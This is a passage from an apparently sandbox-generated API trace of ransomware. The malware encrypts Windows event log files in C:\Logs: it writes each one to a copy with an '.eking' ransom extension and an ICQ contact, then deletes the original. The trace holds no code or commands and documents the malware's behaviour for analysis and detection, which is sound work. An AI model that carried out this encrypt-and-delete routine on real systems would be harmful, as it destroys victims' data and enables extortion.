CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0225.341] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0225.341] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0225.341] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x378 [0225.341] ReadFile (in: hFile=0x370, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x101000, lpOverlapped=0x0) returned 1 [0225.529] WriteFile (in: hFile=0x378, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x101010, lpOverlapped=0x0) returned 1 [0225.730] WriteFile (in: hFile=0x378, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0225.730] CloseHandle (hObject=0x370) returned 1 [0225.730] CloseHandle (hObject=0x378) returned 1 [0225.994] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1 [0225.995] SetEvent (hEvent=0x2b8) returned 1 [0225.997] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0225.997] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0225.997] CloseHandle (hObject=0x378) returned 1 [0225.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0225.997] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 0x20 [0225.998] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0225.998] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0225.998] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0225.998] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0225.998] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x37c [0225.998] ReadFile (in: hFile=0x378, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0226.003] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0226.006] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x122, lpOverlapped=0x0) returned 1 [0226.006] CloseHandle (hObject=0x378) returned 1 [0226.006] CloseHandle (hObject=0x37c) returned 1 [0226.010] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4operational.evtx")) returned 1 [0226.012] SetEvent (hEvent=0x2b8) returned 1 [0226.012] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0226.013] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0226.013] CloseHandle (hObject=0x37c) returned 1 [0226.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0226.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 0x20 [0226.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0226.013] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0226.013] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.013] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.014] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x378 [0226.015] ReadFile (in: hFile=0x37c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0226.020] WriteFile (in: hFile=0x378, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0226.022] WriteFile (in: hFile=0x378, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x132, lpOverlapped=0x0) returned 1 [0226.022] CloseHandle (hObject=0x37c) returned 1 [0226.023] CloseHandle (hObject=0x378) returned 1 [0226.025] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NCSI%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-ncsi%4operational.evtx")) returned 1 [0226.027] SetEvent (hEvent=0x2b8) returned 1 [0226.027] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0226.028] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0226.028] CloseHandle (hObject=0x378) returned 1 [0226.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20 [0226.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20 [0226.028] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0226.029] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0226.029] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.029] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.029] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x37c [0226.030] ReadFile (in: hFile=0x378, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0226.202] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0226.205] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x142, lpOverlapped=0x0) returned 1 [0226.206] CloseHandle (hObject=0x378) returned 1 [0226.206] CloseHandle (hObject=0x37c) returned 1 [0226.213] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1 [0226.215] SetEvent (hEvent=0x2b8) returned 1 [0226.216] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0226.217] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0226.217] CloseHandle (hObject=0x37c) returned 1 [0226.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20 [0226.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20 [0226.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0226.218] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0226.218] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.218] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.218] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x378 [0226.219] ReadFile (in: hFile=0x37c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0226.224] WriteFile (in: hFile=0x378, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0226.227] WriteFile (in: hFile=0x378, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x172, lpOverlapped=0x0) returned 1 [0226.227] CloseHandle (hObject=0x37c) returned 1 [0226.227] CloseHandle (hObject=0x378) returned 1 [0226.231] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1 [0226.233] SetEvent (hEvent=0x2b8) returned 1 [0226.233] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0226.234] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0226.234] CloseHandle (hObject=0x378) returned 1 [0226.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20 [0226.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20 [0226.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0226.234] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0226.234] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.234] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.234] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x37c [0226.235] ReadFile (in: hFile=0x378, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0226.401] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0226.405] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x132, lpOverlapped=0x0) returned 1 [0226.405] CloseHandle (hObject=0x378) returned 1 [0226.405] CloseHandle (hObject=0x37c) returned 1 [0226.408] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1 [0226.411] SetEvent (hEvent=0x2b8) returned 1 [0226.411] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0226.412] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0226.412] CloseHandle (hObject=0x37c) returned 1 [0226.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0226.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 0x20 [0226.412] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0226.412] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0226.413] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.413] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.413] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x378 [0226.415] ReadFile (in: hFile=0x37c, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0226.420] WriteFile (in: hFile=0x378, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0226.422] WriteFile (in: hFile=0x378, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x132, lpOverlapped=0x0) returned 1 [0226.423] CloseHandle (hObject=0x37c) returned 1 [0226.423] CloseHandle (hObject=0x378) returned 1 [0226.427] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4operational.evtx")) returned 1 [0226.429] SetEvent (hEvent=0x2b8) returned 1 [0226.430] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0226.430] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=69632) returned 1 [0226.430] CloseHandle (hObject=0x378) returned 1 [0226.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0226.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 0x20 [0226.430] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0226.430] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0226.431] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.431] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x30dfd30 | out: lpNewFilePointer=0x0) returned 1 [0226.431] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x37c [0226.431] ReadFile (in: hFile=0x378, lpBuffer=0x3580020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x30dfd3c, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesRead=0x30dfd3c*=0x11000, lpOverlapped=0x0) returned 1 [0226.603] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x11010, lpOverlapped=0x0) returned 1 [0226.608] WriteFile (in: hFile=0x37c, lpBuffer=0x3580020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x30dfd20, lpOverlapped=0x0 | out: lpBuffer=0x3580020*, lpNumberOfBytesWritten=0x30dfd20*=0x132, lpOverlapped=0x0) returned 1 [0226.608] CloseHandle (hObject=0x378) returned 1 [0226.609] CloseHandle (hObject=0x37c) returned 1 [0226.612] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4actioncenter.evtx")) returned 1 [0226.613] SetEvent (hEvent=0x2b8) returned 1 [0226.614] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Shell-Core%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-shell-core%4operational.evtx"), dwDesiredAccess=0x80000000, 